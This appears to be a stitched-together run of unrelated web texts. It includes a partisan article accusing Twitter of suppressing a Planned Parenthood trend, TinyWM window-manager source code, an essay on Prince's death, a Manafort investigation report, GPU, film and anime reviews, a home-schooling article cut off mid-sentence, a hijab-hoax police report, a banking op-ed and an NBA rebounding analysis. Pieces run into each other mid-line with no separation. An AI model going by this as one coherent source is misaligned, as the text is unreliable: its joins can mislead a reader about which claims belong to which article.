References [ edit ]What’s the only thing faster than a Lamborghini? Twitter. Putting pedal to the medal, the site has been gaslighting the outrage of millions over the barbarity of Planned Parenthood.
This morning, the Internet erupted at a new Center for Medical Progress video revealing Planned Parenthood’s Dr. Mary Gatter haggling over aborted baby limbs. In the clip, the top abortion officer says she’s eager to make the sale at a good price, because “I want a Lamborghini.”
Right out of the gate, almost as soon as the video dropped, thousands voiced in horror and indignation. But rather than highlighting tweets fueled by this outrage, Twitter underscored the unremarkable drag race between two Lamborghini super cars.
That less-than-newsworthy tweet has sputtered with 14 retweets.
Then, after Twitter realized that that particular story was definitely not the reason for Lamborghini’s rise on Twitter, it suggested this — a story with retweets in the single digits — was the real reason for the trend:
Why is Lamborghini trending? According to Twitter, it's because of this tweet with 5 RT's. pic.twitter.com/sesQW2e6kd
Sean Davis (@seanmdav) July 21, 2015
Twitter wants the Lamborghini trend to be about anything other than @PPact's dead baby profiteering. pic.twitter.com/CfNbfZpu0k
Daniel Payne (@danieljpayne) July 21, 2015
Nothingburger stories with zero social media traction get highlighted by Twitter, while viral posts with hundreds of retweets get buried by Twitter’s trending algorithm:
Michelle Malkin: 350+ RT’s
Sean Davis: 220+ RT’s
Planned Parenthood doc: "If the [price] is too low, we can bump it up. I want a Lamborghini." http://t.co/shlzgGJzX2 pic.twitter.com/apsh5ep8qs
Sean Davis (@seanmdav) July 21, 2015
Lila Rose: 125+ RT’s
Breaking: @PPact executive haggling over prices for aborted baby parts, says "I want a Lamborghini." WATCH: http://t.co/cTmUXOGt0H
Lila Rose (@LilaGraceRose) July 21, 2015
It seems like democracy’s digital forum has a thing for slashing the tires of conservative activism.TinyWM is a tiny window manager that I created as an exercise in minimalism. It is also maybe helpful in learning some of the very basics of creating a window manager. It is only around 50 lines of C. There is also a Python version using python-xlib.
It lets you do four basic things:
Move windows interactively with Alt+Button1 drag (left mouse button) Resize windows interactively with Alt+Button3 drag (right mouse button) Raise windows with Alt+F1 (not high on usability I know, but I needed a keybinding in there somewhere) Focus windows with the mouse pointer (X does this on its own)
Download
Known to be packaged in
Debian
Ubuntu
FreeBSD
CRUX
TinyWM around the web
See Also
The source
Here is tinywm.c from the most recent release, 1.3:
/* TinyWM is written by Nick Welch <[email protected]>, 2005. * * This software is in the public domain * and is provided AS IS, with NO WARRANTY. */ #include <X11/Xlib.h> #define MAX(a, b) ((a) > (b)? (a) : (b)) int main() { Display * dpy; Window root; XWindowAttributes attr; XButtonEvent start; XEvent ev; if(!(dpy = XOpenDisplay(0x0))) return 1; root = DefaultRootWindow(dpy); XGrabKey(dpy, XKeysymToKeycode(dpy, XStringToKeysym("F1")), Mod1Mask, root, True, GrabModeAsync, GrabModeAsync); XGrabButton(dpy, 1, Mod1Mask, root, True, ButtonPressMask, GrabModeAsync, GrabModeAsync, None, None); XGrabButton(dpy, 3, Mod1Mask, root, True, ButtonPressMask, GrabModeAsync, GrabModeAsync, None, None); for(;;) { XNextEvent(dpy, &ev); if(ev.type == KeyPress && ev.xkey.subwindow!= None) XRaiseWindow(dpy, ev.xkey.subwindow); else if(ev.type == ButtonPress && ev.xbutton.subwindow!= None) { XGrabPointer(dpy, ev.xbutton.subwindow, True, PointerMotionMask|ButtonReleaseMask, GrabModeAsync, GrabModeAsync, None, None, CurrentTime); XGetWindowAttributes(dpy, ev.xbutton.subwindow, &attr); start = ev.xbutton; } else if(ev.type == MotionNotify) { int xdiff, ydiff; while(XCheckTypedEvent(dpy, MotionNotify, &ev)); xdiff = ev.xbutton.x_root - start.x_root; ydiff = ev.xbutton.y_root - start.y_root; XMoveResizeWindow(dpy, ev.xmotion.window, attr.x + (start.button==1? xdiff : 0), attr.y + (start.button==1? ydiff : 0), MAX(1, attr.width + (start.button==3? xdiff : 0)), MAX(1, attr.height + (start.button==3? ydiff : 0))); } else if(ev.type == ButtonRelease) XUngrabPointer(dpy, CurrentTime); } }
/* TinyWM is written by Nick Welch <[email protected]>, 2005. * * This software is in the public domain * and is provided AS IS, with NO WARRANTY. */ /* much of tinywm's purpose is to serve as a very basic example of how to do X * stuff and/or understand window managers, so i wanted to put comments in the * code explaining things, but i really hate wading through code that is * over-commented -- and for that matter, tinywm is supposed to be as concise * as possible, so having lots of comments just wasn't really fitting for it. * i want tinywm.c to be something you can just look at and go "wow, that's * it? cool!" so what i did was just copy it over to annotated.c and comment * the hell out of it. ahh, but now i have to make every code change twice! * oh well. i could always use some sort of script to process the comments out * of this and write it to tinywm.c... nah. */ /* most X stuff will be included with Xlib.h, but a few things require other * headers, like Xmd.h, keysym.h, etc. */ #include <X11/Xlib.h> #define MAX(a, b) ((a) > (b)? (a) : (b)) int main() { Display * dpy; Window root; XWindowAttributes attr; /* we use this to save the pointer's state at the beginning of the * move/resize. */ XButtonEvent start; XEvent ev; /* return failure status if we can't connect */ if(!(dpy = XOpenDisplay(0x0))) return 1; /* you'll usually be referencing the root window a lot. this is a somewhat * naive approach that will only work on the default screen. most people * only have one screen, but not everyone. if you run multi-head without * xinerama then you quite possibly have multiple screens. (i'm not sure * about vendor-specific implementations, like nvidia's) * * many, probably most window managers only handle one screen, so in * reality this isn't really *that* naive. * * if you wanted to get the root window of a specific screen you'd use * RootWindow(), but the user can also control which screen is our default: * if they set $DISPLAY to ":0.foo", then our default screen number is * whatever they specify "foo" as. */ root = DefaultRootWindow(dpy); /* you could also include keysym.h and use the XK_F1 constant instead of * the call to XStringToKeysym, but this method is more "dynamic." imagine * you have config files which specify key bindings. instead of parsing * the key names and having a huge table or whatever to map strings to XK_* * constants, you can just take the user-specified string and hand it off * to XStringToKeysym. XStringToKeysym will give you back the appropriate * keysym or tell you if it's an invalid key name. * * a keysym is basically a platform-independent numeric representation of a * key, like "F1", "a", "b", "L", "5", "Shift", etc. a keycode is a * numeric representation of a key on the keyboard sent by the keyboard * driver (or something along those lines -- i'm no hardware/driver expert) * to X. so we never want to hard-code keycodes, because they can and will * differ between systems. */ XGrabKey(dpy, XKeysymToKeycode(dpy, XStringToKeysym("F1")), Mod1Mask, root, True, GrabModeAsync, GrabModeAsync); /* XGrabKey and XGrabButton are basically ways of saying "when this * combination of modifiers and key/button is pressed, send me the events." * so we can safely assume that we'll receive Alt+F1 events, Alt+Button1 * events, and Alt+Button3 events, but no others. You can either do * individual grabs like these for key/mouse combinations, or you can use * XSelectInput with KeyPressMask/ButtonPressMask/etc to catch all events * of those types and filter them as you receive them. */ XGrabButton(dpy, 1, Mod1Mask, root, True, ButtonPressMask, GrabModeAsync, GrabModeAsync, None, None); XGrabButton(dpy, 3, Mod1Mask, root, True, ButtonPressMask, GrabModeAsync, GrabModeAsync, None, None); for(;;) { /* this is the most basic way of looping through X events; you can be * more flexible by using XPending(), or ConnectionNumber() along with * select() (or poll() or whatever floats your boat). */ XNextEvent(dpy, &ev); /* this is our keybinding for raising windows. as i saw someone * mention on the ratpoison wiki, it is pretty stupid; however, i * wanted to fit some sort of keyboard binding in here somewhere, and * this was the best fit for it. * * i was a little confused about.window vs..subwindow for a while, * but a little RTFMing took care of that. our passive grabs above * grabbed on the root window, so since we're only interested in events * for its child windows, we look at.subwindow. when subwindow * None, that means that the window the event happened in was the same * window that was grabbed on -- in this case, the root window. */ if(ev.type == KeyPress && ev.xkey.subwindow!= None) XRaiseWindow(dpy, ev.xkey.subwindow); else if(ev.type == ButtonPress && ev.xbutton.subwindow!= None) { /* now we take command of the pointer, looking for motion and * button release events. */ XGrabPointer(dpy, ev.xbutton.subwindow, True, PointerMotionMask|ButtonReleaseMask, GrabModeAsync, GrabModeAsync, None, None, CurrentTime); /* we "remember" the position of the pointer at the beginning of * our move/resize, and the size/position of the window. that way, * when the pointer moves, we can compare it to our initial data * and move/resize accordingly. */ XGetWindowAttributes(dpy, ev.xbutton.subwindow, &attr); start = ev.xbutton; } /* the only way we'd receive a motion notify event is if we already did * a pointer grab and we're in move/resize mode, so we assume that. */ else if(ev.type == MotionNotify) { int xdiff, ydiff; /* here we "compress" motion notify events. if there are 10 of * them waiting, it makes no sense to look at any of them but the * most recent. in some cases -- if the window is really big or * things are just acting slowly in general -- failing to do this * can result in a lot of "drag lag." * * for window managers with things like desktop switching, it can * also be useful to compress EnterNotify events, so that you don't * get "focus flicker" as windows shuffle around underneath the * pointer. */ while(XCheckTypedEvent(dpy, MotionNotify, &ev)); /* now we use the stuff we saved at the beginning of the * move/resize and compare it to the pointer's current position to * determine what the window's new size or position should be. * * if the initial button press was button 1, then we're moving. * otherwise it was 3 and we're resizing. * * we also make sure not to go negative with the window's * dimensions, resulting in "wrapping" which will make our window * something ridiculous like 65000 pixels wide (often accompanied * by lots of swapping and slowdown). * * even worse is if we get "lucky" and hit a width or height of * exactly zero, triggering an X error. so we specify a minimum * width/height of 1 pixel. */ xdiff = ev.xbutton.x_root - start.x_root; ydiff = ev.xbutton.y_root - start.y_root; XMoveResizeWindow(dpy, ev.xmotion.window, attr.x + (start.button==1? xdiff : 0), attr.y + (start.button==1? ydiff : 0), MAX(1, attr.width + (start.button==3? xdiff : 0)), MAX(1, attr.height + (start.button==3? ydiff : 0))); } /* like motion notifies, the only way we'll receive a button release is * during a move/resize, due to our pointer grab. this ends the * move/resize. */ else if(ev.type == ButtonRelease) XUngrabPointer(dpy, CurrentTime); } }
# TinyWM is written by Nick Welch <[email protected]>, 2005. # # This software is in the public domain # and is provided AS IS, with NO WARRANTY. from Xlib.display import Display from Xlib import X, XK dpy = Display() root = dpy.screen().root root.grab_key(XK.string_to_keysym("F1"), X.Mod1Mask, 1, X.GrabModeAsync, X.GrabModeAsync) root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) root.grab_button(3, X.Mod1Mask, 1, X.ButtonPressMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) while 1: ev = root.display.next_event() if ev.type == X.KeyPress and ev.child!= X.NONE: ev.window.circulate(X.RaiseLowest) elif ev.type == X.ButtonPress and ev.child!= X.NONE: ev.child.grab_pointer(1, X.PointerMotionMask|X.ButtonReleaseMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE, X.CurrentTime) attr = ev.child.get_geometry() start = ev elif ev.type == X.MotionNotify: #while(XCheckTypedEvent(dpy, MotionNotify, &ev)); xdiff = ev.root_x - start.root_x ydiff = ev.root_y - start.root_y ev.window.configure( x = attr.x + (start.detail == 1 and xdiff or 0), y = attr.y + (start.detail == 1 and ydiff or 0), width = max(1, attr.width + (start.detail == 3 and xdiff or 0)), height = max(1, attr.height + (start.detail == 3 and ydiff or 0))) elif ev.type == X.ButtonRelease: dpy.ungrab_pointer(X.CurrentTime)
Here is annotated.c, which is just tinywm.c with a lot of comments explaining what is going on. This should give you a reasonable idea of how everything works.And here's tinywm.py. XCheckTypedEvent has no equivalent in python-xlib, so it is commented out. It doesn't affect functionality, except that responsiveness is worse when you are moving/resizing (especially resizing a large window).I'm Not Sad About Prince, But Let Me Explain
Enlarge this image toggle caption Todd Davidson/Flickr Creative Commons Todd Davidson/Flickr Creative Commons
This has been a tough year for celebrity deaths — and a sad week for fans of Prince, who died Thursday at age 57. But as flashes of purple filled my social media feeds from friends mourning Prince's death, I just felt numb — and like an outsider, watching a ritual I couldn't fully join.
That's because I grew up in a conservative evangelical home in the Midwest in the 1980s and '90s, with pop culture kept carefully at arm's length. We were told — at my charismatic church where the faithful "spoke in tongues" and believed in miracles, and at my strict Christian school where girls wore skirts below the knees every day — that rock 'n' roll was "the devil's music."
After a decade-plus of adult life on my own, I've learned to blend in, to laugh off the references I don't get, to shake off the embarrassment about not really knowing much about evolution or falling silent when friends swap prom stories (no dancing at my high school). But this week brought back some of the old feelings of isolation that I first felt in the workplace and around peers from outside my evangelical cocoon — a sense of being out of place and maybe not quite right.
Instead of David Bowie and Prince, I grew up on contemporary Christian artists like Michael W. Smith and Amy Grant — and some others you've probably never heard of. Even those artists who occasionally scored crossover hits that made it to the pop charts were viewed by some in my parents' circles as too "worldly" because their lyrics didn't always mention Jesus. There were also concerns about Grant's choice of red leather pants when she performed on stage.
As a result, I missed many of the cultural icons of those decades. Being a rule-follower, unlike some of my evangelical friends, I mostly toed the line and avoided forbidden "secular music." That's until I realized that being the only kid in junior high who doesn't know about the Casey's Top 40 hit list from last Sunday night makes you an even odder duck than you already are at 13 with braces and bad skin.
So each evening, I began saying goodnight to my parents, slipping my Walkman under the covers, turning my headphones down low and straining to hear the local radio station run through the "Top 4 at 9" or "Top 5 at 10." I needed to fit in, and part of that was cultural literacy.
That must have been when I first heard Prince and maybe even Bowie, although to this day, I can only name a handful of their songs. I couldn't even hum a line of "Purple Rain," if I'm being honest. But there are a few memories I managed to sneak into my teenage experience. "The Most Beautiful Girl In the World," came out the year I was 14. I remember listening to it on the radio when my parents were out of the house, staring in the mirror and feeling, in my 14-year-old awkwardness, that maybe I was beautiful, just for a minute.
Then, there was "1999," which came out when I was an infant but quickly became an anthem for my high school graduating class — the Class of 1999. You couldn't avoid it in the year or two leading up to the turn of the century. My driver's license, that universal symbol of freedom, meant free reign on the car radio, and I'd dance in the car each time it came on, dreaming about graduation and the road ahead.
That road meant a lot more freedom — but for whatever reason, I never really got caught up on some of the things I missed. I still have a mental list of '80s movie classics I need to see and rockers I should probably learn more about, someday. But life goes on, and pop culture keeps churning out new material, and somehow listening carefully to "Purple Rain" just never happened.
So when I heard the first reports that Prince might have died, while on a conference call with colleagues, I tossed off some sort of callous joke like, "Wait, is he currently known as Prince?" I was vaguely aware that he was still performing, but hadn't absorbed how much he still meant to so many people. So while my friends were quoting Prince lyrics and reminiscing about going to Prince concerts, and strangers were gathering to mourn in Minneapolis, I just felt... like I was peering in the window of someone else's wake. My friends were all in the same funeral procession marching by, and I was standing by watching.
After Prince's death, and Bowie's a few months ago, and Michael Jackson's several years back, I recognized, cognitively, their importance. I felt sympathy for my friends who felt their loss. But mostly, I've felt isolated from all of you who share these ties, and regret for what I missed. These cultural figures don't just speak to us as individuals; they join us together as a community. They create touchstones — without which, it's easy to feel like an outsider.The FBI’s investigation into President Donald Trump’s former campaign manager, Paul Manafort, is focused on several suspicious wire-transfers he made four years before the presidential election, according to a Sunday report from Buzzfeed.
Manafort allegedly made 13 wire transfers from 2011 to 2012 that drew the attention of federal law enforcement officials who were examining if he was helping the Ukrainian regime launder millions it plundered through corrupt dealings. Much of the money was filtered through the U.S. before landing in various areas around the world, Buzzfeed’s report notes.
Trump’s former campaign manager has been the subject of multiple law enforcement investigations into Russian influence in the 2016 presidential election.
A spokesman for Manafort did not respond to reporters’ questions about the investigation or any of the specific wire transactions. He became Trump’s campaign manager in May 2016 before he was forced to resign three months later after media reports exposed his ties to Russian oligarchs.
Manafort has since emerged as a key figure in special counsel Robert Mueller’s investigation into Russian influence, despite the former campaign manager’s repeated denials of any wrongdoing. His widely-reported connections to corrupt former Ukrainian President Viktor Yanukovych sparked speculation he we used Russian agents to help Trump at the expense of Clinton.
American financial institutions, which are required by law to tell the Treasury Department about any transactions they deem suspicious, began flagging Manafort’s transactions, Buzzfeed’s report notes. Suspicious activity reports do not prove wrongdoing, but they are sufficient to begin probes. Federal law requires financial institutions to file reports on cash transactions exceeding $10,000 in a single day.
Manafort’s suspicious financial transactions were flagged as far back as 2012 and forwarded to the FBI’s International Corruption Unit and the Department of Justice, a former Treasury official told reporters. Law enforcement officials said they found red flags in his banking records going back to 2004.
Four of the transfers originated with Manafort’s political consulting firm Global Endeavour, which was hired by Yanukovych to consult and lobby on his behalf. Manafort was working with the former Ukrainian president to lobby the U.S. and other Western countries to support for Ukraine’s entry into the European Union.
Tony Podesta and the Podesta Group’s involvement in Ukrainian politics is also complicating the situation. Mueller expanded the investigation to focus on Podesta and his Democratic-leaning lobbying firm with connections to Clinton, sources told NBC in an Oct. 24 report.
Manafort organized a public relations campaign for a group called European Centre for a Modern Ukraine (ECMU), which lobbied the U.S. to support Ukraine’s EU push. Podesta’s company was one of many firms that worked on the campaign.
The sources said Mueller’s investigation into Podesta, the brother of Clinton campaign chairman John Podesta, began as a fact-finding mission about Manafort’s role in the campaign but quickly morphed into a criminal inquiry into whether the firm violated the Foreign Agents Registration Act, known as FARA.
People and firms who lobby on behalf of foreign governments must file detailed disclosures about their spending with the Department of Justice. Willful failure to file is a felony and can result in up to five years in prison. Podesta and Manafort filed the requisite forms only after the media began reporting on their dealings with ECMU, according to NBC’s report.
CNN reported Friday that Mueller has filed charges in sealed indictments. It is currently not known what the charges are or who they have been filed against. CNN reported that multiple people could face charges. The FBI could begin arresting those charged within the week.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected] are what have allowed this site to be maintained for the past 15 years.
After weeks of anticipation, AMD's high-end Radeon RX 480 "Polaris" graphics card is officially launching today! This graphics card starts at just $199 USD (or $239 USD for the 8GB version) and has day-one Linux support! There's available open-source driver support as well as an AMDGPU-PRO update that's expected today for those wanting to make use of this newer hybrid Linux driver stack. I've been testing the Radeon RX 480 under Linux the past week under both driver stacks and have my initial results to share this morning.
For those out of the loop, the RX 480 Polaris is AMD's first FinFET 14nm GPU and part of their fourth generation GCN architecture. The Radeon RX 480 boasts 36 compute units, 2304 stream processors, a 1120MHz base clock speed with 1266Mhz boost clock speed, up to 5.8 TFLOPS of compute power, 256-bit GDDR5 video memory, and has a 150 Watt TDP. With a 150 Watt TDP, just a single 6-pin PCI-E power connector is required. The $199 card ships with 4GB of video memory where as for $239+ is 8GB of the GDDR5 video memory.
In the reviewer material AMD sent over to us in advance, they claim that the Radeon RX 480 delivers 14% greater performance per compute unit over the Radeon R9 290. They also claim the Radeon RX 480 has 1.9x the performance-per-Watt of a Radeon R9 290.
With the Radeon RX 480, AMD has also been doing much to talk up the "premium VR experience" possible with this card. Unfortunately, I don't have much to add here considering Linux is still lagging behind Windows when it comes to Virtual Reality support.
Next up is some comments on the two Linux driver options for the Radeon RX 480 followed by all of our raw OpenGL/OpenCL/Vulkan benchmark results along with performance-per-Watt metrics and performance-per-dollar calculations with all of our AMD Polaris benchmarking under Ubuntu Linux.
Did you know that Phoronix Premium members see this 12-page article on a single page? And that it's completely ad-free! If you didn't know, you can sign up here.He’d recognize a kindred spirit in its ragged stitching, mindless momentum and vacant look behind the eyes, especially those belonging to Ben Affleck’s emotionally inert Batman.
The film is marginally better than last year’s sour and dispiriting Batman v Superman: Dawn of Justice, but that’s like saying that dental surgery is preferable to passing a kidney stone.
The accumulated screen evidence is that DC Comics and its Warner Bros.’ enablers just can’t get this team thing right. They can score with single superhero stories — as Wonder Woman proved last summer — but mob scenes of men and women in tights seem to overwhelm all concerned.
Adding to the problem for Justice League was a late-innings switch of directors, due to a family tragedy, from action ace Zack Snyder to sardonic expositor Joss Whedon. This necessitated expensive reshoots and other tinkering and delays which result in a whole movie that is considerably less than the sum of its misshapen parts. The film even looks dreary, as if it had been dunked into a CGI version of used motor oil.
It opens with the weary cynicism of Leonard Cohen’s “Everybody Knows” as the world mourns Superman’s loss in Batman v Superman. A terrible thing, but even sadder is the villain du jour: a fiery and anvil-headed demon named Steppenwolf, played by Ciaran Hinds, who inspires not fear but rather an endless loop of “Born To Be Wild” in the mind of anyone over 50.
Steppenwolf and his “parademon” droogs seek to reduce the planet to a “primordial hellscape,” which I suppose sounds scarier than a modern hellscape. To do so, he needs to collect and connect three ancient cubes called Mother Boxes, which look for all the world like portable space heaters. How much of a hellscape is that? I am not making this up.In African-American Communities, Growing Interest In Home-Schooling
Enlarge this image toggle caption Gabrielle Emanuel/NPR Gabrielle Emanuel/NPR
On a quiet street in Detroit, light pours into the back windows of the Kirksey home. In the back of the house the walls are lined with textbooks, workbooks and multicultural children's books. It's a home — but it's also a classroom.
Brandon, 8, is wearing pajamas and a paper crown from Burger King. He heads into the back room and pulls a large laminated world map off the bookshelf.
"This is the whole entire map! Michigan," he says enthusiastically pointing to his home state. His two siblings, Zachary, 3, and Ariyah, 1, echo him.
Their mother and teacher, Camille Kirksey, ushers them into the dining room. Sitting among bowls of fruit and stacks of books, the kids figure out the date and the weather.
This is a typical start to Brandon's school day. Today's agenda: poetry recitation. Then, it's time for reading and math. Fridays are reserved for science experiments and field trips.
Brandon is part of a distinct subgroup of the U.S. home-schooling population: African-Americans.
"Black home-schooling is definitely on the rise," says Ama Mazama, a professor of African-American studies at Temple University.
It's hard to determine the exact number of home-school students, let alone the racial breakdown. Most estimates put the total figure at roughly 2 million and suggest that between 5 and 10 percent are black.
Mazama says black home-schoolers tend to come from urban, two-parent households.
The key question, she says, is why these families are deciding to leave traditional schools. Research suggests black families often choose to home school for very different reasons than white families.
"White home-schoolers, the No. 1 reason they give when asked is religion," Mazama says. "For the black families, it was not the case at all. It was racism."
This is particularly interesting, she says, because African-Americans are consistently the most religious subgroup in America. They pray more. They go to |
that takes this zen approach to life, and presents it to you without bells or whistles, without fanfare, and without effort, because to do so would go against the very thing it stands for.
This anime was released in the Spring 2016 season and was overlooked by many. This is through no fault of its own as its synopsis doesn’t sound particularly interesting compared to others released at the same time, such as Iron Fortress of the Kabaneri, Macross Delta, and RE:Zero (to name a few). While some of these failed to live up to their expectations, Tanaka-kun snuck up from the rear, for those that watched it, with its true-to-slice-of-life approach and subtle genuine humor.
Tanaka is a high school student who loves to do nothing. His lethargic approach to life often finds him falling asleep mid-sentence or in the middle of a class activity. There is, however, another side to him that pops up on occasion that shows just how far he will go to achieve the ultimate state of laziness - such as outlining how he will get the entire world to learn Japanese so he won’t have to attend English class anymore, or stalking ‘WacDonalds’ staff to get a robot-vacuum toy so he won’t have to do chores.
It’s HIS show and the supporting characters are literally, and figuratively, carrying him through it!
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His best friend Ohta is the silent hero of the show. At his first appearance you’re not sure what to make of him due to his tall frame and menacing eyes, but by the end of the first episode you realize that if Tanaka is the helpless baby, Ohta is the caring mother. He carries him from class to class so that he doesn’t have to walk, and generally takes care of all his needs, with Tanaka often stating “you would be a good wife”.
The other characters in the show cover your typical anime tropes. There’s Miyano, the short cute girl who is full of energy and admires Tanaka’s approach to life, proclaiming herself to be his apprentice. Shiraishi is the smart, beautiful class rep admired by the student body, who is secretly a nerd and prefers to wear unstylish clothes when nobody is around. Echizen is the aggressive girl who is the best friend of Miyano and secretly loves cute things. IT wouldn’t be a high school show without them.
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The clever thing about the show is that although Tanaka is the star of the show, it’s the other characters who drive the show along; Miyano’s quest to become like him show her expending so much energy to try and impress her senpai., Shiraishi’s slow acceptance of who she really is and her secret crush on Tanaka after he see’s her ‘true form’ - all these things carry the show’s narrative from episode to episode, while Tanaka just floats along with them, from scene to scene. If what the supporting cast are doing is at the front of the scene, Ohta is carrying Tanaka in the background. It’s HIS show and the supporting characters are literally, and figuratively, carrying him through it!
Even the look of the show helps to deliver the peaceful narrative. The pastel colors, uncluttered scenes, and gentle pacing walk alongside you, down the hallway, towards the next encounter.
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In my opinion, Tanaka-kun is one of the best animes from Spring 2016. It sets out to show you about the beauty of quietude, and everything within the show contributes to that message. If you want a break from the fast-paced space-mechs and zombie slashers, or want something to tuck you into bed at night, this show is that big fluffy pillow.
The “Art of Doing Nothing” promotes “celebrating idleness in all its mesmerizing forms”, and this show delivers just that.
AdvertisementAnn Arbor police say a report of ethnic intimidation involving a woman wearing a hijab did not actually happen.
According to police, a University of Michigan student told police on she was approached by a man who threatened to set her hijab on fire if she didn't remove it. It happened on Nov. 11.
She then said the suspect pulled out a lighter, so she removed her hijab before he ran away on foot.
Police say detectives have been working with the U of M Police Department and the FBI. They have conducted multiple interviews and reviewed multiple surveillance videos.
"During the investigation, numerous inconsistencies in the statements provided by the alleged victim were identified," police said in a release.
Detectives then determined the incident did not happen.Let's be honest: the banking system is now fully dysfunctional. It has failed in its primary purpose: to act as a machine for lending into the real economy. Instead the banking system has been turned on its head, and become a borrowing machine.
HuffPost readers, I know, are smart and on the button when it comes to bankers and their wicked ways. But how many Americans understand how broken and defective the banking system as a whole has become? For the crazy facts are these: bankers now borrow from their customers and from taxpayers. They are effectively draining funds from household bank accounts, small businesses, corporations, government Treasuries and from e.g. the Federal Reserve. They do so by charging high rates of interest and fees; by demanding early repayment of loans; by illegally foreclosing on homeowners, and by appropriating, and then speculating with trillions of dollars of taxpayer-backed resources.
A report out today, "Where did our money go?" from the London-based new economics foundation ( declaration of interest: I am a Fellow of NEF) -- reveals that net lending to households and firms is negative. British banks are currently borrowing £12 billion ($18bn) a month to maintain existing levels of activity. According to the Bank of England, by 2011 they will have to borrow £25 billion ($39bn) a month -- and the Bank is sceptical they can continue to raise that level of funding.
According to the Bank of England UK banks are not alone in facing a significant refinancing challenge. Global banks are estimated to have around US$5 trillion of medium to long-term funding maturing over the next three years, and 'the scale of competition for funds in global markets' is intense.
By borrowing from the real economy, and then refusing to lend, except at high rates of interest, bankers are effectively performing a lobotomy on the real economy. They are cutting critical credit connections to and from the vital 'cortex' -- the region of the economy responsible for investment and the creation of jobs. Without a sound banking system and cheap, carefully regulated credit, the public and private sectors will not invest in e.g. green jobs or infrastructure. Output will continue to plummet, and unemployment and poverty to rise.
The banking system was invented in 14th century Florence, 16th Century London, and 17th century Amsterdam -- to create and disburse credit. We learned nearly five hundred years ago that a sound banking system could do just that, stimulating trade and other forms of economic activity. The effortless and almost costless creation of credit by both central and commercial banks creates deposits and savings -- and not the other way around.
This is contrary to the archaic ideas of the 'classical' economists (for which read: the Chicago School). Deposits and savings are not the result of economic activity; nor is Quantitative Easing. Instead they are the result of credit creation -- which can then be used to finance investment and jobs. Today, as NEF's report shows, thanks to the persistence of archaic, neo-liberal economic theories of finance, the banking system has frozen lending and been turned on its head.
Instead of lending into the economy, bankers are borrowing from the real economy.
Lunatic asylums are rightly discredited. Their treatment of patients was often barbaric and ultimately ineffective -- so they were consigned to the dustbin of history.
Like the asylums of yesteryear, banks are no longer fit for purpose. Their treatment of businesses and households is blunt and brutal. Built on monetary theory as outdated as Victorian lunatic asylums, the banking system is likely to implode again. That is why governments are cutting back on spending, and shoring up funds -- fully expecting another banking bailout. The governor of the European Central Bank declared as much in the FT on 5 September, this year.What exactly is it about Russell Westbrook’s triple-double season that we find extraordinary? I ask this question not to downplay the accomplishment’s historical significance or intrinsic value, the first of which I grant and the second of which I set aside for the moment. I ask this question as a matter of precision. After all, we’re talking about a player who had 23.5 points, 7.8 rebounds and 10.4 assists per game last year — the first double-double average of his career. In light of this baseline, what has he done markedly better that the triple-double statistic itself somehow captures?
Westbrook, of course, has become the undisputed fulcrum of the Oklahoma City Thunder’s attack. He has impacted games in diverse ways. But, even without the triple-doubles, we can see this shift through his higher shot volume, usage rate, assist percentage and other metrics that aim to measure specific player skills. His overall contributions are reflected in both Box Plus/Minus and Real Plus-Minus. What does his pursuit of Oscar Robertson’s milestone tell us about his performance above and beyond what these numbers already do? Or, perhaps more constructively, if we accept Westbrook’s triple-doubles as the starting point for further player analysis, how can we make it a productive exercise?
In many ways, the triple-double discussion boils down to rebounds. Westbrook’s track record suggested that double-digit points and assists were well within his capabilities, and Kevin Durant’s departure only stood to bolster his chances of meeting (and, indeed, far exceeding) these thresholds. It was less clear how his rebounding numbers might change. For example, in the 2014-15 and 2015-16 seasons, Westbrook’s total rebound percentage was 11 when Durant was on the court and 12 when Durant was off the court. The data were similar with Serge Ibaka in the mix. Assuming the percentage-point or so difference was meaningful in the first place, it was hard to tell whether it would be enough to push Westbrook across the 10-rebound mark. But now that he’s there, we can examine how he’s managed to boost his stats on the glass.
Read More: Early returns on the Houston Rockets and Moreyball
SportVU is built for such close examination, and it reveals a particular type of rebound that Westbrook has augmented this year:
Compared to the previous three seasons, Westbrook is grabbing three uncontested defensive rebounds more per game, accounting for the vast majority of his rebounding growth. His 7.7 average momentarily leads the league. Among players with at least five defensive rebounds per game, he has the highest proportion of the uncontested variety.
To a degree, it’s unsurprising that a guard’s rebounding improvement would come this way. Unless he makes an unlikely commitment to box out down low with greater frequency (an approach that invites all sorts of potential issues), contested opportunities would seem limited, at least on the defensive end. Nevertheless, a skeptical look at Westbrook’s numbers would be justified.
Uncontested defensive rebounds tend to be the province of players who allegedly “steal” from teammates and pad their own stats. A more objective interpretation, put forth by Seth Partnow last year, estimates that such rebounds are worth about half as much as others, since the defense is bound to secure the ball rather handily under the circumstances, regardless of the individual defender who is ultimately credited. Basically, uncontested defensive rebounds are relatively weak reflections of a player’s ability to gain possession. If Westbrook’s reaching triple-double levels by increasing them, it may not necessarily indicate sharper rebounding skills. Team and game contexts could simply be working in his favor.
But just because the stars are aligning toward gaudy individual numbers doesn’t mean the collective good is compromised. Sometimes, it has value to the team. In a recent TrueHoop podcast, Royce Young hypothesized that Westbrook’s rebounds are welcomed because of their potential benefits:
If you watch Thunder games — and I can’t confirm this — but it certainly appears that Russell Westbrook’s teammates are kind of in on this, because there are times where they see Russ going for a rebound and they say, “Russ, you go get that rebound.” […] They want Westbrook rebounding the ball because they see that as one of their best chances to turn defense into offense. You get the ball into Westbrook’s hands as quickly as possible and… he can turn just an ordinary defensive rebound into a fastbreak opportunity.
Fastbreak opportunities are desirable for teams like the Thunder, whose halfcourt offense is mediocre at best and must be supplemented by more dynamic options. Oklahoma City dedicates 17 percent of its possessions to offensive transitions, the highest rate in the NBA. Its effective field goal percentage of 63 ranks in the top 10. While turnovers can be reduced, the fact remains that pushing the ball up the court is a good strategy overall, especially when you consider the alternatives.
There’s some evidence that offensive benefits are enhanced when Westbrook himself collects the defensive rebound:
This table captures all of the Thunder’s field goal attempts after defensive rebounds while Westbrook is on the floor. When he takes the rebound, they have a higher effective field goal percentage than when a teammate does. They also attack a tad more quickly. Granted, the sample size is small, and there are many other variables (free throws, turnovers, etc.) that a deeper analysis would consider before sweeping conclusions are drawn. But, intuitively, these preliminary numbers make sense.
